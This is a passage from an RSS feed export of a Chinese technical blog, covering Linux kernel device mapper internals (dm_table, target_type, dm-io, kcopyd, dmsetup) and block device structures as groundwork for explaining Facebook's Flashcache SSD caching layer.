<li>snapshot: 快照，LVM2的快照基于此实现</li>
<li>multipath: 多路径IO</li>
<li>crypt: 加密，可以实现加密存储</li>
<li>delay: 延时IO</li>
<li>&#8230;</li>
</ul>
<p>Target type是一种模块化的插件接口，允许自定义。Flashcache就是利用这个接口定义了一种新的target type，将SSD和普通磁盘定义为两种新的target device，设计了缓存的映射规则，逻辑组合成一种新的块设备。</p>
<p><strong>3.1 mapped_device</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm.c#L118">mapped_device</a>定义了逻辑设备，对内核来说，可以把逻辑设备当作一种普通的block_device。</p>
<pre>
struct mapped_device {
    struct request_queue *queue;
    struct gendisk *disk;
    char name[16];
    void *interface_ptr;
    struct workqueue_struct *wq;
    struct dm_table *map;
    struct bio_set *bs;
    struct block_device *bdev;
    make_request_fn *saved_make_request_fn;
    ...
};
</pre>
<p><strong>3.2 dm_table</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-table.c#L41">dm_table</a>描述了逻辑设备和物理设备之间的映射关系。</p>
<pre>
struct dm_table {
    struct mapped_device *md;
    atomic_t holders;
    unsigned type;
    unsigned int num_targets;
    struct dm_target *targets;
    struct list_head devices;
    fmode_t mode;
    ...
 };
</pre>
<p><strong>3.3 dm_target</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/device-mapper.h#L163">dm_target</a>定义了一个具体的target device。</p>
<pre>
struct dm_target {
    struct dm_table *table;
    struct target_type *type;
    void *private;
    ...
 };
</pre>
<p><strong>3.4 target_type</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/device-mapper.h#L135">target_type</a>定义一种target device的类型。其中有几个比较重要的函数:</p>
<ul>
<li>map: io映射规则函数</li>
<li>ctr: 设备构造函数</li>
<li>dtr: 设备析构函数</li>
<li>end_io: IO操作完成后调用</li>
<li>status： 获取设备状态信息</li>
<li>ioctl：ioctl接口</li>
</ul>
<pre>
struct target_type {
    uint64_t features;
    const char *name;
    struct module *module;
    unsigned version[3];
    dm_ctr_fn ctr;
    dm_dtr_fn dtr;
    dm_map_fn map;
    dm_map_request_fn map_rq;
    dm_endio_fn end_io;
    dm_request_endio_fn rq_end_io;
    dm_flush_fn flush;
    dm_presuspend_fn presuspend;
    dm_postsuspend_fn postsuspend;
    dm_preresume_fn preresume;
    dm_resume_fn resume;
    dm_status_fn status;
    dm_message_fn message;
    dm_ioctl_fn ioctl;
    dm_merge_fn merge;
    dm_busy_fn busy;
    dm_iterate_devices_fn iterate_devices;
    dm_io_hints_fn io_hints;
    /* For internal device-mapper use. */
    struct list_head list;
};
</pre>
<p><strong>3.5 dm_register_target</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-target.c#L84">dm_register_target</a>函数用于注册 一个新的target type。</p>
<pre>
int dm_register_target(struct target_type *tt)
{
    ...
    list_add(&#038;tt->list, &#038;_targets);
    ...
}
</pre>
<p><strong>3.6 dm_io</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/Documentation/device-mapper/dm-io.txt">dm-io</a>为device mapper提供同步或者异步的io服务。</p>
<p>使用dm-io必须设置<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/dm-io.h#L17">dm_io_region</a>结构（2.6.26版本以前叫io_region），该结构定义了io操作的区域，读一般针对一个dm_io_region区，而写可以针对一组dm_io_region区。</p>
<pre>
struct dm_io_region {
    struct block_device *bdev;
    sector_t sector;
    sector_t count;         /* If this is zero the region is ignored. */
};
</pre>
<p>dm-io一共有四种<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/dm-io.h#L30">dm_io_mem_type</a>类型（老一点的内核版本只有前面三种，Flashcache主要使用DM_IO_BVEC）:</p>
<pre>
enum dm_io_mem_type {
    DM_IO_PAGE_LIST,/* Page list */
    DM_IO_BVEC,     /* Bio vector */
    DM_IO_VMA,      /* Virtual memory area */
    DM_IO_KMEM,     /* Kernel memory */
};

struct dm_io_memory {
    enum dm_io_mem_type type;
    union {
            struct page_list *pl;
            struct bio_vec *bvec;
            void *vma;
            void *addr;
    } ptr;

    unsigned offset;
};
</pre>
<p>dm-io通过<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/dm-io.h#L59">dm_io_request</a>结构来封装请求的类型，如果设置了<a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/dm-io.h#L50">dm_io_notify</a>.fn则是异步IO，否则是同步IO。</p>
<pre>
struct dm_io_request {
    int bi_rw;                      /* READ|WRITE - not READA */
    struct dm_io_memory mem;        /* Memory to use for io */
    struct dm_io_notify notify;     /* Synchronous if notify.fn is NULL */
    struct dm_io_client *client;    /* Client memory handler */
};
</pre>
<p>使用dm_io服务前前需要通过<a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-io.c#L47">dm_io_client_create</a>函数（在2.6.22版本前是dm_io_get）先创建<a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-io.c#L17">dm_io_client</a>结构，为dm-io的执行过程中分配内存池。使用dm-io服务完毕后，则需要调用<a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-io.c#L81">dm_io_client_destroy</a>函数（在2.6.22版本前是dm_io_put）释放内存池。</p>
<pre>
struct dm_io_client {
    mempool_t *pool;
    struct bio_set *bios;
};
</pre>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-io.c#L457">dm-io</a>函数执行具体的io请求。</p>
<pre>
int dm_io(struct dm_io_request *io_req, unsigned num_regions,
      struct dm_io_region *where, unsigned long *sync_error_bits)
{
    int r;
    struct dpages dp;

    r = dp_init(io_req, &#038;dp);
    if (r)
            return r;

    if (!io_req->notify.fn)
            return sync_io(io_req->client, num_regions, where,
                           io_req->bi_rw, &#038;dp, sync_error_bits);

    return async_io(io_req->client, num_regions, where, io_req->bi_rw,
                    &#038;dp, io_req->notify.fn, io_req->notify.context);
}
</pre>
<p><strong>3.7 kcopyd</strong></p>
<p>kcopyd提供了一种异步copy服务，可以将一个block device上的一组连续扇区复制到一个或者多个block device中，很明显，这在mirror/snapshot等target type中是非常需要的功能。实际上flashcache也利用了该功能来实现cache的机制。</p>
<p>使用kcopyd前需要先通过<a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-kcopyd.c#L603">dm_kcopyd_client_create</a>函数（2.6.26版本前叫做kcopyd_client_create）创建一个<a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-kcopyd.c#L34">dm_kcopyd_client</a></p>
<pre>
struct dm_kcopyd_client {
    spinlock_t lock;
    struct page_list *pages;
    unsigned int nr_pages;
    unsigned int nr_free_pages;

    struct dm_io_client *io_client;
    wait_queue_head_t destroyq;
    atomic_t nr_jobs;
    mempool_t *job_pool;

    struct workqueue_struct *kcopyd_wq;
    struct work_struct kcopyd_work;

    spinlock_t job_lock;
    struct list_head complete_jobs;
    struct list_head io_jobs;
    struct list_head pages_jobs;
};
</pre>
<p>dm_kcopyd_client维护了三job队列，一个等待内存页pages_jobs，一个已经获得内存页等待io命令io_jobs，一个等待io完成complete_jobs，这三个job队列都由job_lock锁保护。job队列由<a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-kcopyd.c#L178">kcopyd_job</a>结构组成。</p>
<pre>
struct kcopyd_job {
    struct dm_kcopyd_client *kc;
    struct list_head list;
    unsigned long flags;
    int read_err;
    unsigned long write_err;
    int rw;  # READ or WRITE
    struct dm_io_region source;
    unsigned int num_dests;
    struct dm_io_region dests[DM_KCOPYD_MAX_REGIONS];
    sector_t offset;
    unsigned int nr_pages;
    struct page_list *pages;
    dm_kcopyd_notify_fn fn;
    void *context;
    struct mutex lock;
    atomic_t sub_jobs;
    sector_t progress;
 };
</pre>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/drivers/md/dm-kcopyd.c#L543">dm_kcopyd_copy</a>函数执行实际的copy动作，kcopyd一种异步任务，所以需要预先定义回调函数dm_kcopyd_notify_fn。</p>
<pre>
int dm_kcopyd_copy(struct dm_kcopyd_client *kc, struct dm_io_region *from,
                unsigned int num_dests, struct dm_io_region *dests,
               unsigned int flags, dm_kcopyd_notify_fn fn, void *context)
{
    struct kcopyd_job *job;
    job = mempool_alloc(kc->job_pool, GFP_NOIO);
    job->kc = kc;
    job->flags = flags;
    job->read_err = 0;
    job->write_err = 0;
    job->rw = READ;
    job->source = *from;
    job->num_dests = num_dests;
    memcpy(&#038;job->dests, dests, sizeof(*dests) * num_dests);
    job->offset = 0;
    job->nr_pages = 0;
    job->pages = NULL;
    job->fn = fn;
    job->context = context;

    if (job->source.count < SUB_JOB_SIZE)
            dispatch_job(job);
    else {
            mutex_init(&#038;job->lock);
            job->progress = 0;
            split_job(job);
    }
    return 0;
}
</pre>
<p><strong>4. Device Mapper工具</strong></p>
<p>操作系统提供了一些管理device mapper的工具，需要确认相关的包已经安装。</p>
<pre>
$rpm -qa | grep device-mapper
device-mapper-libs-1.02.62-3.el6.x86_64
device-mapper-1.02.62-3.el6.x86_64
device-mapper-event-libs-1.02.62-3.el6.x86_64
device-mapper-event-1.02.62-3.el6.x86_64
</pre>
<p><strong>4.1 dmsetup</strong></p>
<p>Device Mapper的工具主要是dmsetup，可以用来创建/修改/删除/查看DM设备，Flashcache的创建和装载工具flashcache_create/flashcache_load都是调用的dmsetup，只是自己包装了一层。</p>
<p>创建一个新的dm设备的语法为：</p>
<pre>
dmsetup create dm_device start_sector nr_sectors target argument
</pre>
<p>不同的target type，带的argument不一样，ctl函数定义了如何根据参数来构建dm设备的逻辑。如果组合的参数规则复杂，也可以将参数写入到文件中，然后通过文件参数来执行创建。</p>
<pre>
dmsetup create dm_device file_name
</pre>
<p>以下是一个已经创建好的Flashcache设备的信息：</p>
<pre>
$sudo dmsetup info
Name:              cachedev
State:             ACTIVE
Read Ahead:        256
Tables present:    LIVE
Open count:        1
Event number:      0
Major, minor:      253, 0
Number of targets: 1

$sudo dmsetup status
cachedev: 0 3093559296 flashcache stats:
	reads(731952), writes(554131825)
	read hits(663370), read hit percent(90)
	write hits(429687559) write hit percent(77)
	dirty write hits(185872576) dirty write hit percent(33)
	replacement(31918), write replacement(13045343)
	write invalidates(0), read invalidates(1)
	pending enqueues(13604453), pending inval(13604453)
	metadata dirties(347477454), metadata cleans(347477257)
	metadata batch(665458755) metadata ssd writes(29495864)
	cleanings(347468476) fallow cleanings(536679)
	no room(7246713) front merge(286174542) back merge(57729678)
	disk reads(68585), disk writes(368002849) ssd reads(347815066) ssd writes(562902592)
	uncached reads(1098), uncached writes(20849965), uncached IO requeue(0)
	uncached sequential reads(0), uncached sequential writes(0)
	pid_adds(2), pid_dels(2), pid_drops(0) pid_expiry(0)

$sudo dmsetup table
cachedev: 0 3093559296 flashcache conf:
	ssd dev (/dev/fioa), disk dev (/dev/sdb1) cache mode(WRITE_BACK)
	capacity(306408M), associativity(512), data block size(4K) metadata block size(4096b)
	skip sequential thresh(0K)
	total blocks(78440448), cached blocks(77048243), cache percent(98)
	dirty blocks(102), dirty percent(0)
	nr_queued(0)
Size Hist: 1024:2 4096:555006431 
</pre>
<p>未完待续</p>
<p>参考：<br />
[1].Understanding Device-mapper in Linux 2.6 Kernel [Oracle Support ID 456239.1]<br />
[2].<a href="http://www.ibm.com/developerworks/cn/linux/l-devmapper/index.html">Linux 内核中的 Device Mapper 机制</a><br />
[3].<a href="http://sourceware.org/dm/">Device-mapper Resource Page</a><br />
[4].<a href="http://lxr.linux.no/linux+v2.6.32.49/Documentation/device-mapper/dm-io.txt">Linux Kernel Documents dm-io.txt</a><br />
[5].<a href="http://lxr.linux.no/linux+v2.6.32.49/Documentation/device-mapper/kcopyd.txt">Linux Kernel Documents kcopyd.txt</a></p>
<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="5"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="深入浅出Flashcache（四）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">深入浅出Flashcache（四）</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="SSD硬盘时代即将到来？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fssd_harddisk_is_coming_soon.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711646.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">SSD硬盘时代即将到来？</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Windows平台不支持32k的block size" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fcan_not_use_32k_block_size_on_windows.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712511.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Windows平台不支持32k的block size</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="SSD硬盘的IO性能测试" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fa_ssd_orion_test.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710895.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">SSD硬盘的IO性能测试</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="Oracle11gR1 for Linux可以下载了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11gr1_for_linux_x86_can_download_now.html&from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712488.png" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">Oracle11gR1 for Linux可以下载了</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="5" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table><img src="http://www1.feedsky.com/t1/611199579/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199579/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" />
<p><a href="http://feedads.g.doubleclick.net/~a/kGahLdms3a-LLhx2ueHd1SvIaBY/0/da"><img src="http://feedads.g.doubleclick.net/~a/kGahLdms3a-LLhx2ueHd1SvIaBY/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/kGahLdms3a-LLhx2ueHd1SvIaBY/1/da"><img src="http://feedads.g.doubleclick.net/~a/kGahLdms3a-LLhx2ueHd1SvIaBY/1/di" border="0" ismap="true"></img></a></p>]]></content:encoded><wfw:commentRss>http://www.ningoo.net/html/2011/all_things_about_flashcache_2.html/feed</wfw:commentRss><slash:comments>5</slash:comments><description>前文简单的介绍了block device，别急，虽然这个系列的主要目的是介绍Flashcache，这一篇还是不会切入正题，因为我们还需要先了解下什么是device mapper。 假如一台主机插入了多块硬盘，单块硬盘... &lt;table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;"&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5"&gt;&lt;b&gt;&lt;font size="-1"  style="display: block !important; padding: 20px 0 5px !important;"&gt;您可能也喜欢：&lt;/font&gt;&lt;/b&gt;&lt;/td&gt;
    &lt;/tr&gt;
    
        &lt;tr&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;"&gt;
                    &lt;a target="_blank" title="深入浅出Flashcache（四）" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2012%2Fall_things_about_flashcache.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;深入浅出Flashcache（四）&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="SSD硬盘时代即将到来？" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fssd_harddisk_is_coming_soon.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14711646.gif" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;SSD硬盘时代即将到来？&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Windows平台不支持32k的block size" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Fcan_not_use_32k_block_size_on_windows.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712511.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Windows平台不支持32k的block size&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="SSD硬盘的IO性能测试" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2008%2Fa_ssd_orion_test.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14710895.jpg" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;SSD硬盘的IO性能测试&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
                &lt;td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;"&gt;
                    &lt;a target="_blank" title="Oracle11gR1 for Linux可以下载了" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect?url=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2007%2Foracle11gr1_for_linux_x86_can_download_now.html&amp;from=http%3A%2F%2Fwww.ningoo.net%2Fhtml%2F2011%2Fall_things_about_flashcache.html"&gt;
                        &lt;img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/06/28/14712488.png" width="96px" height="96px" /&gt;&lt;br /&gt;
                        &lt;font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;"&gt;Oracle11gR1 for Linux可以下载了&lt;/font&gt;
                    &lt;/a&gt;
                &lt;/td&gt;
        &lt;/tr&gt;
    
    &lt;tr&gt;
        &lt;td colspan="5" align="right"&gt;
            &lt;a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems" target="_blank" title="无觅相关文章插件"&gt;
                &lt;font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;"&gt;无觅&lt;/font&gt;
            &lt;/a&gt;
        &lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;&lt;img src="http://www1.feedsky.com/t1/611199579/NinGoo/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199579/1237504/1/item.html" border="0" height="0" width="0" style="position:absolute" /&gt;</description><category>linux</category><category>flashcache</category><category>device mapper</category><category>block device</category><category>技术</category><pubDate>Sat, 03 Dec 2011 16:53:42 +0800</pubDate><author>NinGoo</author><comments>http://www.ningoo.net/html/2011/all_things_about_flashcache_2.html#comments</comments><guid isPermaLink="false">http://www.ningoo.net/?p=2262</guid><dc:creator>NinGoo</dc:creator><fs:srclink>http://www.ningoo.net/html/2011/all_things_about_flashcache_2.html</fs:srclink><fs:srcfeed>http://www.ningoo.net/feed/</fs:srcfeed><fs:itemid>feedsky/NinGoo/~1461473/611199579/1237504</fs:itemid></item><item><title>深入浅出Flashcache（一）</title><link>http://item.feedsky.com/~feedsky/NinGoo/~1461473/611199580/1237504/1/item.html</link><content:encoded><![CDATA[<p>Cache is king.</p>
<p>在计算机系统中，cache的魔爪无处不在。CPU中有L1,L2,甚至L3 cache;Linux有pagecache，MySQL有buffer cache/query cache;IO系统中Raid卡/磁盘也有cache;在大型互联网系统中，数据库前面一般也都有一层memcache。Cache是容量与性能之前取平衡的结果，<strong>以更低的成本，获得更高的收益</strong>，是系统设计时应该遵循的原则。</p>
<p>传统机械硬盘几十年来，容量不断翻倍的增长，相比较而言，性能的增长就慢的像蜗牛了。对于依赖IO性能的应用，典型的如数据库，一直在等待新的技术来拯救。在此之前，身躯庞大的高端存储，动辄重达几吨。相比于存储里带的硬盘来说，价格贵得离谱，而存储的附加价值，在于io在大量硬盘之间的均衡分布，以及IO链路的多路容灾，以及部分固件层面的优化和数据保护等。</p>
<p>Flash disk(SSD/FusionIO等)的出现，改变了这一切。Flash disk将硬盘从机械产品变成了电气产品，功耗更小，性能更好，时延更优，看起来传统硬盘已经不堪一击，数据库欢欣鼓舞，新的革命似乎将一夕成功。但新东西也有它致命的缺陷，价格和经过时间检验的稳定性。</p>
<p>所以Facebook的Mohan Srinivasan在2010年开源了<a href="https://github.com/facebook/flashcache">Flashcache</a>，将Flash disk做为普通硬盘的cache，这个思路，目前一些尝试也在raid卡硬件层面做尝试，例如LSI的<a href="http://www.lsi.com/channel/marketing/Pages/LSI-MegaRAID-CacheCade-Pro-2.0-software.aspx">CacheCade Pro</a>，不过之前版本新浪的童鞋测试过似乎性能没有想象的好。Flashcache在淘宝一些核心数据库中已经在线运行了大半年，经过调优后的表现稳定。Flashcache利用了Linux的device mapping机制，将Flash disk和普通硬盘的块设备做了一层映射，在OS中变现为一块普通的磁盘，使用简单，是一个值得推荐的方案。Flashcache最初的实现是write backup机制cache，后来又加入了write through和write around机制：</p>
<ul>
<li>write backup: 先写入到cahce，然后cache中的脏块会由后台定期刷到持久存储。</li>
<li>write through: 同步写入到cache和持久存储。</li>
<li>write around: 只写入到持久存储。</li>
</ul>
<p>在详细的介绍Flashcache之前，需要先了解一下Linux的block device和device mapper相关的知识。</p>
<p><strong>1. Block Device</strong><br />
块设备最初主要是依据传统硬盘等IO操作较慢的设备而设计的，所以Linux中为块设备的IO操作提供了cache层，所以基于块设备的请求一般是buffer io，当然后来由于数据库等自己有cache机制的应用，os/fs层面的cache就成了多余，所以出现了绕过os/fs层cache的direct io。</p>
<p>块设备在设备确定层和kernel之间，为Kernel提供了统一的IO操作接口，同时隐藏了不同硬件设备的细节。当有多个并发IO请求到块设备时，请求的顺序会影响IO的性能，因为普通的机械硬盘需要移动机械臂，所以kernel一般会对IO做排序等调度后再发送到块设备层。IO调度算法是一种电梯算法(elevator algorithm)，目前主要有cfq/deadline/anticipatory/noop，其中cfq是Linux的默认策略;anticipatory在新的内核中已经放弃;deadline在大部分OLTP数据库应用中更具优势，IO的响应时间更稳定些;noop只对IO请求进行简单的合并，其他不干涉，在FusionIO等IO性能很好的设备上，noop反而更具优势，所以FusionIO的驱动默认使用了noop。关于IO Scheduler，后文会有更详细的解释。</p>
<p>块设备在用户空间是一种特殊的文件类型，由(major,minor)来标识，major区分disk，minor区分partition。Linux中一般把设备文件放在/dev目录。实际上你完全可以将块设备文件创建到其他地方，只要(major,minor)唯一确定，块设备文件最后访问的起始同一个块设备。</p>
<blockquote><p>$ls -l /dev/sda1<br />
brw-rw&#8212;- 1 root disk 8, 1 2011-12-03 01:00 /dev/sda1</p>
<p>$sudo mknod /opt/sda1 b 8 1</p>
<p>$ls -l /opt/sda1<br />
brw-r&#8211;r&#8211; 1 root root 8, 1 2011-12-03 11:54 /opt/sda1
</p></blockquote>
<p>由于块设备处于文件系统和物理设备驱动之间，在这一层做一些工作可以对所有IO产生影响，因此很多优秀的产品都在这一层做文章，除了Flashcache，还有一个比较著名的就是<a href="www.drbd.org">DRBD</a>（DRBD已经进入2.6.33内核）。<br />
<span id="more-2201"></span></p>
<p>在Linux内核中定义了一些操作块设备相关的结构体和函数，下面的信息基于2.6.32.49:</p>
<p><strong>1.1 gendisk</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/genhd.h#L135">gendisk</a>保存了一个具体的disk的信息，包括该disk上的请求队列，分区列表/第一个分区，块设备操作表等重要信息。</p>
<pre>
struct gendisk {
    struct request_queue *queue;
    struct disk_part_tbl *part_tbl;
    struct hd_struct part0;
    const struct block_device_operations *fops;
    ...
};
</pre>
<p><strong>1.2 hd_struct</strong></p>
<p><a href="http://lxr.linux.no/linux+v2.6.32.49/include/linux/genhd.h#L90">hd_struct</a>保存一个分区信息，包括起始扇区，扇区数，分区号等基本信息。</p>
<pre>
struct hd_struct {
    sector_t start_sect;
    sector_t nr_sects;
    int      partno;
    ...
};
</pre>
<p><strong>1.3 disk_part_tbl</strong></p>
